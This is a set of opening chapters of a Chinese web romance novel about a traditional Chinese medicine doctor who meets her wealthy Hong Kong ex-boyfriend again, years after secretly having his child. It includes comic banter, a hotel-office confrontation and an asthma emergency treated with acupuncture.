《港夜雨眠[带球跑]》
1. 夏日
《港夜雨眠》by越玘明
晋江文学城独家发表
2024.7.1
七月,深城。
天空蓝得澄净,云层团状而厚实,路旁行道树成簇的枝叶偶尔攒擦,阳光探入微风与簌簌青绿之间,投落在地。
盛夏闷热,便利店外却围着一群扛相机的男女,几乎要把快门键按出火星子。
“我们是街拍豪车团队,不务正业。”
“猫瘾犯了,速度来辆豪车送我去戒猫所。”
“酒店,左边酒店!车牌五个8的劳斯莱斯幻影!”
众人齐齐目睹副驾开了一条缝。
单只珍珠链黑色细高跟鞋率先踩地,额外长垂在踝骨边的一颗白珠随脚步晃动,被落下的布料略遮。
完全站车旁的女人身穿收腰的西装领连衣裙,长卷乌发蓬松,珍珠耳环兼项链璀璨夺眼,与明艳的正红唇色相衬。
烈日当头,梁尔璐将别在脑袋的墨镜戴好,接电话。
听筒对面人小鬼大的童声较她快些出声:“丈母娘,班上有人说卓熹妹妹家里的车牌号有很多8,但她好像没爸爸,所以我说早就见过岳父了。”
男孩说完便挂,腔调酷拽。
梁尔璐忍俊不禁,转头稍望父亲开远的车尾。
说实话,她已经四年没见过孩子的父亲了。
止歇了再三翻涌的念想,她进酒店。
高尔夫球场并不难找,梁尔璐停在休息区的一张桌前,桌边或坐或站的年轻男人们纷纷冲着她笑看。
她面无表情,搁约诊人对面坐了,从出诊包取出个号脉用的脉枕垫,语气宛如放落它的平稳力道般,没什么起伏:“先生,哪儿不舒服?”
对方却沉默。
梁尔璐不催。
毕竟老熟人。
这少爷在深城豪门圈子里算是排得上号,曾经跟她身后穷追猛打好一阵子,拍不死的蟑螂样儿,很久才彻底破防不做那舔狗,争分夺秒地到处嘲讽她家是靠收房租富起来的暴发户。
“梁尔璐,我不喜欢中医,你可以走了。”
嚯,当初分明可喜欢她了。
眼瞅这条扭头就招呼酒肉朋友的破防狗还有发言征兆,她继续不插嘴掐断。
“你们看这未婚生子的臭閪(粤语,贱女人)连工作都穿花枝招展,是来高档酒店钓有钱男人了。”
笑声吵耳,梁尔璐收回脉枕垫,随后继续在包里摸索出个小玩意儿,示意约诊人:“你长得很帅,也特别有钱。”
坐车无聊,习惯性地玩了点折纸,没承想竟派上用场。
男人被相连的红色爱心愣到,如同梁尔璐这件他始终都想得到的漂亮衣服。
谁知她突然松开捏着双心的两指。
等纸张完全落地,他才和朋友们下意识抬头。
只见梁尔璐已摘掉墨镜,歪头弯着唇,娇俏抛来完美的wink:“你不喜欢中医?”
趁一伙人仍旧发怔,她端过墨镜旁的红酒杯,卯足了劲泼去:“衰仔,少玩点女人。”
约诊人瞬间在周围看热闹客人的惊呼声中蹿起跳脚,欺身上前就要来收拾她,却被朋友们扯回。
换上委屈的神情,梁尔璐叹气:“我的意思是,不要像现在这样骗女人玩,怎么?你是想到别的什么了?”
惹谁都行,少跟中医硬碰硬。
她又将五官拧成嫌弃状:“我帮你洗洗这不健康的纵欲过度脸色,不用谢。”
对方更是急急挣脱阻拦,一副说什么都要打她的架势,可惜没成功。
据他大力士朋友所说,爸爸来了,于是逃得那叫飞快。
梁尔璐败兴,只能放弃想好的报复与脱身后招,循着他们视线,望见拿了高尔夫球杆的运动服男人,疯狂追向丢人儿子。
而同行的另一个西装男步履优雅,逆光朝她走来。
完全看不清脸。
日光耀目,快接近三百的轻度近视也让她本能地眯眼,躲避灼亮。
肯定不认识,无所谓。
但好奇心依然强烈地驱使她戴上墨镜后,一探究竟。
好奇害死猫。
只那么随意地短短瞥看,对面那双再熟稔不过的眉眼,就似泄洪般撞到她思绪,溃得稀碎。
直至男人站定在桌前,周围议论声越是频起。
“什么?孩子亲爹找上门了?太巧了吧?”
“你也好笑的,不会真以为是那种古早狗血带球跑?”
“可是……”
梁尔璐双耳嗡鸣,僵坐原地,完全忘记人类走路的教程了。
匆匆低头的同时,听林瀚睿出声:“梁小姐,原本我打算过几天和你谈合作,既然这么巧,择日不如撞日?”
上下两片眼皮傻到不知道眨,她怔忪着与男人对视,难掩面部震惊。
他倒是尤为平静,始终呈现公事公办的体面姿态,薄薄镜片之后,眸色淌得疏离。
导致梁尔璐一下子血液倒流般畏寒,放酒杯的手因此发颤。
但杯壁处覆来手指,替她施加了稳当的温热力道。
随后,指骨收力,轻松夺走。
似乎是也掠取了她骤然沉落的心脏。
不像他此刻居高临下:“梁小姐,你的手很冰。”
虽是友善的语意,而他与过往无二致的声线,这会儿竟冷上几分。
刺得她更加有口难言。
心跳如擂鼓,梁尔璐偏不信邪,一把摘掉弄暗了光线的墨镜,及时反应过来近视且手误,立刻忙乱将俩磁吸墨镜片掀开,才又戴上眼镜,皱眉紧盯林瀚睿。
男人是轻放了杯子的,却仍避免不了毫无声息。
很快,他们重新对视。
不会错了,就是林瀚睿。
惨遭她甩的名副其实前男友。
职场混得不错。
三件套西装笔挺考究,黑色领带被系成了优雅的埃尔德雷奇结。
真是衬得她现在狼狈至极。
梁尔璐攥紧手心的镜片,赶忙低垂脑袋,侧了些身体来背对男人。
正试图跑路,耳边又响细碎的议论。
她秒停,靠尚存的理智整合分析。
港岛顶级豪门太子爷林瀚睿,纵横商海而从无败绩,长年在大陆开拓市场,两地媒体公认的零桃色绯闻。
谁?
她前男友是谁?
她偷偷生了谁的孩子?
她死定了!
跑为上策,奈何站起后还没挪动半步,追儿子去的运动服男人回来了:“原来你就是另一位中医合作方,我儿子冒犯到你,抱歉。”
整得她连连摆手且摇头,微微张了好几回嘴都出声失败,只得抿作一条直线。
转头锁定林瀚睿的脸,皮笑肉不笑:“合作?好,走吧。”
好好好。
四年不见,这么玩她是吧?
顶级港爷?
由奢入俭难,辛苦太子爷当初装穷了。
眼看这位爷回了她一个平平无奇的职业笑容,梁尔璐慌张撇开目光。
见鬼,她胆子小。
惹错人啦!
彻底没胆说话,她安静跟在两人后头,去往电梯。
正怼着手机麻溜儿打字,进电梯时却撞到异物,突兀感使她吓出惊呼,直接伸手往右猛推,在巨大的坠物声中迅速跑入电梯。
手刚攥着点有实感的什么,便丧气轻嚷:“这破酒店是专门吓我吗?”
梁尔璐定睛细看才知道是酒店机器人,歪倒在电梯门中间,重复喊“摔得好疼,救救我”。
余光则瞅见弯腰要去扶机器人的运动服男人,被一只手横在身前拦住,她顺势转头,发觉是林瀚睿的。
视线下挪,意识到自己紧抓着他昂贵的西装袖口。
自他身上逸散,萦于她呼吸间混有轻柔辛甜的清凉药感,这才增强了存在性,轻薄的玫瑰味总似有若无地穿过其中。
是以前就从他身上闻到过的木质皮革香。
在那个遇到林瀚睿的午后。
夏日炽热,产生了令她无法拒绝的接触。
正像这一如既
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往吸引她的香水。
是气味。
是沾染过就再逃不开的记忆牢笼。
梁尔璐更加攥皱林瀚睿的衣袖,唇角勾得自嘲。
这个骗子。
她抬脸,面色冷冷地怨怼。
今天才明白,那时才是初见林瀚睿。
配合着垂眼的狗男人此刻却只拿平静无波的表情回应。
思绪绕返,酒店机器人的呼救声就越清晰。
拜托,也救救她……
抓紧放了手,梁尔璐情急之下躲去电梯角落,回头见林瀚睿扶好了机器人,正重进电梯。
她迅速避开已交汇一半的对视,拿背脊示人,缩挤得恨不能嵌入墙体。
林瀚睿站在轿厢中部位置,偏头将目光落在拼命远离的背影。
前女友面壁似地持续低着头,只顾继续摁手机。
尤其忙活。
他微微皱眉,撤走了眼神。
百分之百又在和那个竹马哥哥吐槽前男友。
身处安静的环境,电梯门能映出梁尔璐的部分身形,办公室高达72层,林瀚睿趁空回想她的长裙。
他从小学油画,习惯性琢磨色彩。
是普兰加深红调色之后的不完全纯黑,而且明显是普兰占比多,由此变成了整体紫中透些微红蓝的五彩斑斓黑。
至于她左腕戴的三圈玉石手串,白色珠子会随光线隐隐泛紫,垂挂其中的一个银质莲蓬铃铛,因她五指聊天打字而陆续发出脆响。
林瀚睿沉下脸,咬实后槽牙。
根本不安静。
气氛实在静得尴尬,梁尔璐暗暗无奈,幸亏电梯运行够快。
她这次打算安全跨进办公室的门再玩手机,屋内所有,先眼尖瞧到了桌上的亚克力铭牌。
“首席执行官”五个字足够显眼。
哈哈,林瀚睿这骗子。
坐沙发对面的合作伙伴意外也开始看手机,随后说临时有事,延迟谈生意。
梁尔璐稍愣,利落抓起包离开,简单翻了会儿聊天记录。
确实,好消息是她化着全妆遇到前男友,坏消息是前男友的恐怖马甲掉了。
但?
她瞬间站住,转身笑着盯神态一如既往淡漠的男人:“逮到你偷偷看我了!”
真够疏远……
行吧,被预判脑回路并逮到的是她。
小跑去沙发,她坐扶手,因此落到林瀚睿身上的裙摆,被他五指揪起,皱了眉毫不留情地往外一甩。
“死装。”梁尔璐服气,故意又靠近些他,交叠的裙摆自然而然就掉回原位。
瞥着林瀚睿不再有起伏的脸色,她挑眉:“误会嘛,我说的是strong,这么多衣服也遮不住太子爷您的strong肌肉,strong哦。”
说实话她不介意男人转头保持沉默,便抬了单根手指,轻巧拨弄他精致打理的头发丝:“亲爱的……死装哥,你早就知道那些衰仔的整蛊计划吧。”
哪知这家伙的脑袋,甚至更微微往她视线盲区的右边偏侧了:“梁小姐还不走?”
“我刚才是吓着了,如果我以前就知道你是谁,不会想和你有来往的。”梁尔璐扁扁嘴,突然弯腰,把脸凑到了不知在沉思什么的林瀚睿面前,这次成功闹得他措手不及。
深深望进这双泛怔的眼眶,她扯出一抹笑:“实践出真知,我们果然不适合做.爱人。”
只是快得很,其中波澜恢复平静。
难捉摸的态度。
男人这阵短暂的起伏内其实毫无破绽可寻,她撩拨一堆废话,单纯在试探林瀚睿除了恨她,剩余还留有几分爱。
从落地窗铺泻的光线无法照到林瀚睿身前,倒是不影响他右手食指的翡翠绿玉扳指显出高档成色。
器质清润,正如他转动着戒指的修长手指。
绿白碰触,把玩的劲儿柔缓。
素净雅致,与下方膝腿处的浓黑西裤相衬合宜。
至于她探求的答案。
是他眸瞳晦暗不明,直视而来的冷淡。
2. 夏日
所有能感知到林瀚睿的器官,此刻都窒息,如同一潭死水。
“除了爱人,其实我也从来没把你当朋友。”
她破罐子破摔,刚才不止和竹马聊过天,更向硕士研究生时期的室友打听前男友。
据说不是每个港岛豪门继承人都能在十八岁戴上祖传的玉扳指。
额外发给她的几秒成人礼自录视频中,简短留有少年掀抬眼皮之后,偶然撞入镜头的冷漠眉目。
与现在的属于同款。
摄人心魄一般的无情。
“这涉及到我做人的一点小毛病,你听不懂是正常的。”坐直了身,她远离林瀚睿的视线范围,稍垂眼睫,“帮我解围的大好人,那只笔,给我。”
男人递过更靠近她的左手,收回的五指却被梁尔璐连同签字笔一道儿握住。
“北北,我就只摸摸小手,不过分吧?”难得又能因为对视,打量研究林瀚睿,她豁出去了。
“宛宛,你说这话,自己信吗?”
重逢以来,这是他第二次对自己笑。
哪怕依旧是充斥着那客套的意味。
梁尔璐挑眉。
毫无反抗的林瀚睿脸上写满了“让我看看你想做什么”、“是否跟我想的一致”,诸如此类挑衅,并用总裁标配的眼神示意她赶快出招。
可能港岛的习俗不一样吧,她家这里分手了不用和前任这样玩游戏。
她用总裁前女友标配的眼神,要求林瀚睿帮忙摘笔帽。
总之这家伙别太配合……
在他手心写完一串手机号码,梁尔璐继续着墨她的姓氏:“林总,我大概猜得到你想合作什么,这是我的联系方……我合伙人的联系方式,下次记得约他。”
玩乐器和从医多年,她几乎不留长指甲,但圆润的指尖也足够能给细嫩皮肤带来轻戳的别样触感:“梁先生。”
“我可不是分手之后就换号码的幼稚鬼。”掌心之内只有单个“梁”字,她将笔塞进,替林瀚睿曲了手指攥住,小力地拍两下,“请林总联系我的竹马哥哥哦,合作愉快。”
男人又勾唇笑。
梁尔璐相反。
没意思,林瀚睿这脑筋仿佛上了润滑油一般灵活转的INTJ,肯定早就预料到。
她不仅比赛落败,甚至由于提起竹马,狂踩病娇林某人的雷点。
回应她的这第三个笑容,恐怖。
梁尔璐撒腿就跑,却在碰着办公室门把手时,听清徐缓平淡的男声:“你哭过。”
距离办公桌是远,但还是能轻微感受到加湿器发出的雨声白噪音,响得她受吓的心跳更明显。
“不……不关你事!”她下意识拔高音量,惊慌转身。
男人照旧靠坐正中位的沙发,令她油然而生一种职场打工人面对上位者的局促。
出诊前,梁尔璐梦见刚出生的女儿被人贩子偷走,找回失败。
现在想起来也够催泪。
“低效企业会被投行淘汰,吃掉,我也不是大好人,是否需要我分析评估你那个破酒店倒闭的概率?梁小姐,请你在合约基准日之前,提升企业管理中的硬件与软件两套系统,实现合作三方未来的共赢。”
“sorry,我忘了梁小姐听不懂,毕竟你当年没参加两个学校的联合课程项目。”林瀚睿多凝看了会儿她的疑惑脸,垂眼回想几乎是一步一响的手串铃铛声。
他前倾些身子拿水喝:“四年了,你今天还没对我说过半句好听的话,再说那四个字,我会通知记者写腾先地产太子妃的新闻稿。”
轮到这露出破绽的话题,梁尔璐一身反骨作祟:“就是不关你事!你顶级豪门家里人同意了吗?就敢这……”
尾音没来得及脱口,她直接傻眼,些微泪珠子都被吓回。
对面的男人利落拨通电话,有条不紊走近,张合的唇具体传达了什么信息,她是完全听不见。
唯独他挂断之后的一句:“反正你未来公公会第一时间封锁消息。”
以及难以忽视的笑容,只是止于浅表。
怎么看都比应付合作伙伴的态度更疏冷。
真有太子爷的范儿啊。
过去她就总感觉这位装穷的港爷,举手投足展现贵气,并非能刻意装腔或彻底隐藏的优雅,流露的散漫慵懒特别容易抓人眼球。
没确定恋爱关系之前,安静得情绪稳定,把握着基于社交距离的生分感,因此习惯性浅幅度地温温笑,但相处期间算不上过度寡言,偶尔甚至会出乎意料地使坏作弄她,虽说与她相比,仍偏向倾听一方。
她钟情林瀚睿疲倦时的飘忽眼神,眼睫翕动的频率都变缓,柔和了一张晃眼的渣苏脸。
完全在诱惑她欺负。
一旦恋爱,这种难抓的游离感更是黏乎。
追想往事的短暂怔神,让梁尔璐后知后觉男人已站来面前。
原本就靠着隐私模式的不透明玻璃门,她立刻反手去摸索身后的门把,亟待跑路。
手腕却遭林瀚睿握住,这冷凶的家伙顺带将已打开部分的门重新扯回。
锁舌声响近在耳侧,她睁大了眼后仰,连续几瞬忘记呼吸,攥紧了拎着的包。
不过一门之隔,是两桌秘书工位,虽然刚才上楼时全空着,此刻未知。
“躲我?”
男人继续发话,五官的幅度同样稍有起伏,但残留淡漠的影子,笑腔轻悦:“呼吸。”
她乖乖听太子爷下的旨:“我要怎么做,你才能解气?以前是我欺骗你感情,甩了你,对不起。”
“你每次哭过都会把眼妆化浓。”
好啊,太子爷根本就没搭睬她弥补前男友话题的意思。
不过她能屈能伸,扯笑:“哭是因为我一觉醒来不想上班。”
“骗子。”
话虽如此,他的语气倒稀松平常,不像控诉骗子时该有的腔调。
摆出爱信不信的神情,梁尔璐抬起被林瀚睿攥住的左手,略扬,莲蓬铃铛随着叮当:“这么喜欢我手链?那我死都不给你,太子爷您别在我面前继续装穷了,自己买个符合身价的吧。”
谁知他陡然松开五指,拦腰抱起她,劲直走向办公室配套的卧室。
挣扎之余,高跟鞋先后掉地,梁尔璐对准他脖颈张开牙齿,欲咬的刹那却瞥见床边落地窗前放有画架和相关用具。
愣愣瞅着,她注意力瞬间受到转移,便没再胡乱挣动。
是一幅融合窗外城市风光的油画。
稍稍理清脑回路,梁尔璐皱眉。
装穷的骗子,居然这么擅长油画。
床头柜面也安了加湿器,未间断的淅沥雨声莫名惹心烦,喷升的水汽宛如云海细雾般萦绕远漫。
安静氛围内,男人仅仅道出一句让她匪夷所思的“colorful”。
梁尔璐轻用鼻音表示疑惑。
颈侧仿佛还留有她刚才呵近的温热呼吸,林瀚睿微不可察地皱眉:“你裙子的颜色。”
盯够男人解释中毫无其余信息量的眸色,梁尔璐迟疑瞅看几秒自己的裙子。
那确实,五彩斑斓黑。
她重新抬头,咬他。
紧紧牙关。
他不放,她也不放。
但因为被林瀚睿放入浴缸的坠落感而惊呼,不得已松了口。
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梁尔璐严重懵圈,反应过来时男人已靠坐在缸沿地面,好整以暇似地凝她,又是架着好似高尔夫球场那一个居高临下的姿态:“你也不想你老公知道我们的事吧。”
老……老公?
这跟把她扔浴缸有什么关联?
太子爷喜欢玩这么背德刺激的角色扮演?
也对,按照他当时的距离,绝对没听到约诊人说“未婚生子”。
反正这怪家伙连虚空老公都帮她捏造好了,梁尔璐迅速进入角色,打开了水阀。
凉水漫过趾尖的肌肤,实在有些冷。
她皱眉,微微瑟缩腿:“什么事?鸳鸯浴吗?来,林总请。”
“梁小姐说笑了,自然是我们谈过恋爱的事,我对生过孩子的有夫之妇不感兴趣。”
眼瞅他面无表情,撂话就走的利落阵势,梁尔璐撇嘴。
“我们甚至睡过!你什么德性我不知道?疯癫起来连男小三都愿意做!做不做啊?我老公三年五载不回家,没男人陪我睡觉的,我今天婚内出轨,明天离婚嫁你,亲爱的,做嘛做嘛,我结婚这么多年,还没在浴室做过呢!”闹完刻意恶心人的脾气,她赶紧关水。
做个大头鬼!
她总算明白了。
林瀚睿无非是料定她会如此失去理智地死犟着反抗,导致最终只能换一身他的衣服。
他根本不是那种图谋“为了还衣服而再次见面”的正常人,纯粹属于恨不得她从头到脚、由内及外都被他气息覆盖裹挟的疯子。
神经病……
大半裙摆遭水浸湿,梁尔璐心生无语,稍作处理,从卧室衣柜挑了白衬衫,以及颇具垂感的宽松直筒黑色西裤。
可惜裤腿太长,直接遮得双脚消失,她往上扯出部分扎系在腰间的衬衫,俯身捡起足以解决这问题的高跟鞋。
至于剩下的那半只是掉在了办公室,梁尔璐全程攥高着妨碍走路的裤子,朝沙发处的男人背影瞪一眼刀子。
幸亏咬狠了,牙印肯定能留好久。
放缓些许呼吸频率,她确信空气中萦绕了之前并未存在的清淡沉香。
别扭止步沙发附近,梁尔璐扶稳再蹬鞋,余光察觉对面男人直勾勾的视线。
其实算不上灼烫,甚至尤为平静。
她也大方盯他:“看什么看……”
嗓音越来越弱,她清楚看见茶几上的玉石质地烟灰缸散发润泽冷感,却斜支着一条燃至猩红的烟,碎灰簌簌而落。
梁尔璐下意识睁大眼。
没见他四年前吃过烟,但这不重要,毕竟目前情况有点微妙。
这男人怎么弄得像抽了事后烟一样?
她又不偏不倚换完衣服从卧室出来,且给他留咬痕。
救命,这是她跳遍全世界八大洋都洗不清的冤屈。
更何况现在是农历六月,她冤得能让六月飞雪。
怪她刚才嘴贱。
当然,林瀚睿也坏得很。
她因羞到极致而匆忙低头,穿好鞋快步离开,无视身后男人不沾情绪起伏的一声“梁尔璐”。
办公室外的秘书工位依旧空,梁尔璐松口气的同时继续装聋,全然只顾走,等牙都咬酸了,情急之下向林瀚睿扔去出诊包。
“梁尔璐,我……”胸口的疼痛持续蔓延,林瀚睿略缓咳嗽痒意,追进她选择逃的安全楼道。
却跟着误入幼儿园孩子们参观中医馆的现场,童声哗然,包括一句喊“妈咪”的嘹亮奶音。
甜润润的稚嫩声线虽发音不太标准,但滔滔不绝:“那就是我妈咪,我妈咪就是中医,我外公家里有一个比这更大的中医馆!我以后也是厉害的中医哦!”
3. 夏日
梁尔璐僵杵原地,好似痴呆,哪里还敢再有动作。
她无话可说,往哪跑都行,偏偏瞎来这里给自己挖坑。
幼儿园组织了“我们一起颐康”的酒店参观活动,刚才待高尔夫球场,她就万般祈祷父女俩千万别相见。
不然她大夏天的,会手很冰?
吓人得很,毕竟林瀚睿擦身跑过,直奔女儿。
但踩久了细高跟鞋,梁尔璐力不从心,远远落后。
幸亏之前打电话给她的小男孩单手揣了校裤兜,径直往旁边跨一步,完全拦在女儿身前。
林瀚睿无视接收到的警惕敌意,着急蹲下打量粉雕玉琢的漂亮丫头:“小朋友,你几岁了?你爹地……”
梁尔璐眼看社交悍匪女儿热络地把脑袋探出男孩肩角:“我四岁了,但叔叔为什么拿着我妈咪的包包?”
附近娃娃们七嘴八舌。
“书哥,我还以为他是你岳父。”
“我也以为是熹熹的爸爸。”
“是给我们准备零食和礼物的酒店老板叔叔!”
她没办法继续屏气,也蹲女儿身边,将孩子圈进怀里。
刚打算说话呢,这小萝卜头却因竹马退回原位而失去阻挡,麻溜儿伸手拍了两下林瀚睿的肩:“靓仔,我爹地满世界飞哦,日理万机。”
虽然没出声,但她已经嚎破嗓子……
绝对不能再让社牛老父亲带孩子了。
“没错,和皇帝一样。”
“明明就比皇帝厉害!以前那些皇帝没得坐飞机。”
周围吵闹,梁尔璐瞅林瀚睿垂了头,手指攥紧包的背带,关节处用力到发白,轻咳一声,伴随的克制喘息密集。
“不是太子?”整段声线都在用力,可是尾音竟意外虚浮,像只发出半个囫囵音。
站起后立刻退两步,转身咳嗽一阵儿。
她疑惑,稍抚女儿脸颊就走向男人,凑耳旁恶魔低语:“当然,我不喜欢太子。”
利落结束犯贱,梁尔璐跑飞快,哪知电梯门缝被他气势汹汹地扒开。
实在被纠缠得恼火,她正要发作,持续低着头的林瀚睿反而先无力跪在电梯内,身体往一侧重重倾倒。
及时扶稳呼吸急促,不断咳嗽的男人,梁尔璐揽他靠坐去电梯角落,捧起难以支撑的苍白脸,能瞧见两瓣唇泛青紫。
她赶紧扯松系法繁复的领带,解开最上几粒衬衫扣子,以及束缚腰腹的西装外套与马甲:“点头摇头,心脏病?哮喘?有哮喘就穿宽松点的正装。”
她皱眉摸索掉远的手机,却被林瀚睿用力握住胳膊,压根儿没见这呼吸困难的家伙动脑袋,只是拼命动声带:“我有话问你……”
因此严重气短,剧烈咳嗽。
“放手,你找死?”梁尔璐难以置信地暴躁挣脱,抓起手机拨打急救,“都让你别说话了!尽量控制咳嗽,用鼻子呼吸。”
她丢手机在旁边,外放通话,开始翻诊包内的针灸包,“颐康酒店南门,病人哮喘发作,我是中医,会先缓解病情。”
手头没带多少医疗工具,这种简陋条件下突发的急症,足够折腾医患双方的命。
“你清醒点,活下来了才能问我话。”忙碌拆一次性针灸针时,她抽空观察一眼越发严重的男人。
彻底难控地捂嘴猛咳,肺能呛出来的程度。
“没关系的,你直接咳出来才更舒服。”
取穴斜刺了针灸针,梁尔璐努力屏蔽满耳朵危急喘息与咳声的干扰,试图提提他的注意力:“赶快好起来,不然针手掌这边对你无效,我就继续针你手肘那边,还要大庭广众脱你衣服扎你胸口的穴位,你不是很怕痛吗?我也懒得扒光你……真无语了,你追我干什么?回头把包放酒店前台让他们联系我就行,都跟你说了没换手机号码,哦对,你是有话问我才追,哥们,打电话问,打电话!”
“林瀚睿你这个傻子!癫公!”
胆大包天地趁机骂完太子爷,她发觉男人在针刺鱼际穴的情况下稍微平喘,得到了好些气息。
行,跟扎她自己似的,比林瀚睿更松懈了一口气。
不过这位还没怎么恢复的大少爷,疑似有多动症。
明显是撑不起重脑袋的无力模样,竟突然抬手,昏昏沉沉搭扣住她的五指。
触感冰凉,梁尔璐下意识抽离,但只一瞬就停。
冷意继续在皮肤蔓延,孱弱,也倔强得有力。
她神情无奈,腔调懒散:“啊啊,好好好,宠你,所以这个叫‘夏日限定宠溺’。”
距离酒店一楼还需要几秒。
超久的限定。
便宜某人了。
省得电梯门关闭,梁尔璐提前准备好出诊包,掐准时机推去两扇中间,招呼大堂工作人员:“救命救命,等外面救护车到了就帮忙带路到这里。”
走近的却是一台酒店机器人。
停在门口,坚持抗议:“我要上电梯咯,请把中间的位置留给我。”
莫名心虚,她瞅向堵住电梯正中路线的出诊包和两具身体……
酒店机器人若是不能如愿进到电梯C位,就会自动把电梯门控制得无法关闭。
工作人员姗姗来迟,艰难将笨重的机器人搬往隔壁电梯,随后听这电子生命沉沉叹息:“别摸我了。”
程序调教得还挺有趣,梁尔璐借题发挥,稍晃被林瀚睿抓住的手:“别摸我了,听见没?”
哈哈,事情也变得有趣了。
前男友坚持自我。
但凡外边没人,她都必须抓起他因咳嗽深埋的脸,瞧瞧黏人前任现在究竟挂着个什么表情。
既然讨厌她就别这样啊。
否则她会讨厌又开始怀疑某种可能性的自己。
病人是这样的。
确实是这样的。
她只是林瀚睿由于意识混沌,随手抓的一根救命稻草而已。
毕竟他从小到大看闲杂人等,都只用那副凛冽的眼神。
酒店机器人重复叫嚷半天,这会儿进了电梯才换话。
“给哥哥姐姐们表演一个隔空按电梯。”
“贴我好评,妈妈就会给
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我糖吃的哦。”
谁给糖吃?
谁写的程序?扣三个月奖金。
脑子里塞满了医德,梁尔璐咬唇。
忍住。
两条腿敢跑就剁了。
她对林瀚睿感恩戴德。
哪怕已经变成轻度咳嗽,他也没在尴尬的此刻挪来眼神。
甚至放开她手,用力向内摁压喉咙。
梁尔璐动手扒拉开大半,却拦不住男人。
“你发什么疯啊?”时间正好差不多,她来不及处理扼住脖颈的突发状况,只继续替林瀚睿小幅度地捻转行针。
理论上留针久些更有效,但针手掌正面的穴位会特别疼,何况她前男友确实有着痛觉灵敏的体质。
刚才一刺进去就红的针眼,越发可怜了。
换她医过的某些病人,能接二连三惨叫。
可眼前这疯子非但不吱声,还自己胡乱拔出针灸针,甚至将她的出诊包推出电梯外。
电梯长时间不关门引发的警报音总算停止,也因男人的操作,向32层运行。
梁尔璐没能碰到楼层按键,手腕与左肩反遭他牢牢捏住。
强硬挤入她视线的一双眼尾,沾染病态般阴湿猩红,低弱喑哑的嗓音发狠:“我的!你说,是我的!你和她。”
就算是四年前,她也没见过林瀚睿这样失控:“我们先去医院好不好?你活下来再听我说。”
“堂堂皇帝没给你买钻戒?”
她无法挣脱,组织语言也失败,由男人双臂强行抱紧,持续地被他执拗勒入怀中。
梁尔璐受不了因拥抱导致的疼痛与窒息,气不打一处来:“工作时不戴戒指是医生职业习惯,我老公有买!一百万,八克拉,把我无名指都压断了!”
而林瀚睿仿佛硬要把她上半身的关节碎成齑粉,再分毫不差地揉进骨血。
“我有一颗将近两百克拉的粉钻,拍卖价格换算成人民币十五亿左右。八克拉卖一百万,甚至没到一千万,说明根本不算好钻石,但礼轻情意重,你老公一定很爱你。”
“呃……”该说不说,病人满血复活,轮到她做医生的呼吸困难了,“区区绿茶国太子不准拉踩我老公,我超爱!”
“狗,狗东西,你有本事就下死手!”死都拦不住她反骨。
狗倒是当即松了口。
梁尔璐咬牙切齿地嘶声,力气虚软,跌倒之前被迫由林瀚睿揽回怀内。
环扣在她腰侧的五指大发慈悲,没再存心使劲,电梯冷气十足,却重新蔓延贴覆的黏腻感。
“疼吗?”
感知清晰,抚弄她手腕的轻柔摩挲依然在游走。
梁尔璐畏怯生寒,不自觉颤栗,下意识缩逃但失败。
男人的力气在稍稍收拢,与平淡声线分处两个极端:“我们去医院。”
电梯内白霎的灯光雪亮。
和某人的脸一样碍眼。
她皱眉抬头,竖起明晃晃的中指:“你可要注意身体啊。”
再攥拳:“心理很变态了,身体一定要健康。”
4. 夏日
骨头虽留些小痛,但架不住她天生反骨。
率先跳下救护车,梁尔璐紧紧跟在林瀚睿虚弱平躺的担架床边:“狗东西,你又废了?回光返照咯,嘻嘻。”
面对医护人员全体震惊的逆天局面,她直视男人苍白病态脸上寡淡的琥珀瞳孔,弯唇解释:“湿湿碎(洒洒水,小意思啦),我弟弟就喜欢姐姐这样。”
话落,林瀚睿见她极快收笑,停了脚步。
不喜欢,医院天花板白得比电梯灯光更刺眼。
等在红灯口的出租车还没开近,梁尔璐微微仰头望天。
她绝对绝对死定了。
*
人民医院稍远些,梁尔璐问清博导兼同门师叔在住院部七楼。
她刚才也是急疯,居然向林瀚睿抛扔装着名贵玉石围棋子的出诊包。
病房门板带有大块竖玻璃,她止步某一间的墙沿,所处角度只能瞥到病人部分身体。
其中,双手极其惹人注目。
对方坐在沙发,桌面散放一副牌,额外有单张随意搁置旁边,被拿起笔的主人拖近,快速划了一横。
之后病人再没搭理它,只拿过高摞的整叠牌,耍玩起花切。
穿梭于扑克牌之间的十指手法,眼瞅着是大佬款。
她还蛮喜欢花切,不由地多看几眼,过会儿听见正气十足的一声“尔璐”。
突兀感相继发生,病人手中绝对掌控的数张纸牌瞬间溃散,坠向四面八方。
等等。
这双手是前男友的。
漂亮到纯白无任何杂质来作为辨认的标志。
四年前,她也睡过这间VIP病房。
心跳因后知后觉而惊颤,梁尔璐慌乱后退两步,转身平缓呼吸:“老师,王副院。”
“尔璐啊,送棋子的事我听老梁说了,你先等一下叔叔们。”
点头的频率偏迟钝,她继续退,拼命远离两个院长打开的病房门。
失神间撞到了人,梁尔璐被轻扶胳膊,条件反射般抽离接触面。
是谢柏延。
男人重新拿稳沉重热水瓶,脸色错愕地瞧她:“梁姐,怎么了?”
“没……哦,没事。”眨眼回个神,梁尔璐拧眉,扫过他颈上挂的工牌。
敢情这四年告诉她的私人西医岗位,是在用林瀚睿的秘书身份做遮掩。
不愧是顶级豪门继承人,非但得藏掖病情,还需要医院中西双科两个顶天的专家出马诊治。
谢柏延叹气:“抱歉啊梁姐,Hendrix是我老板。”
“认识超过四年,是你和他之间的交友隐私,当然不用说。”梁尔璐算得上心平气和,“没阴阳怪气的意思,我们导师都在里面。”
她当初也隐瞒所有人,和林瀚睿偷偷谈恋爱。
“看来你今天是和Hendrix避不开了,120专线遵循就近原则通知医院派车,所以林董重新把儿子送来这里检查。”
“又死不了。你有空把这句话原封不动带给他。”
赌气模样溢于言表,谢柏延眼观鼻鼻观心,第一时间岔开话题,招呼了走出病房的教授。
梁尔璐急着翻找包内的棋子,蓦地听俩长辈相应和——
“不错,挺配的。”
“中西医,非常合适。”
还没出口反驳,谢柏延已经冲进虚掩的门,与对面男人摆手:“误会,天大的误会,一物降一物,你们两个才配!”
欠揍?
她当打则打。
接二连三打。
当然也没忘瞪林瀚睿。
太子爷有意见就说词儿啊?
摆什么岁月静好的脸色?
“你包里装什么了,砸人死痛!”
第一条控诉出来,这位爷才扯起委屈神情:“确实很痛。”
“你有毛病?我是让你装柔弱说这个?狗东西,死绿茶!”从起床就心态爆炸到现在,梁尔璐再难忍耐,咬牙,“shift!对不起,太子殿下。我是真心道歉的。”
挪开视线,她嫌弃林瀚睿似笑非笑的眉眼,丢给谢柏延一个继续砸人的假动作。
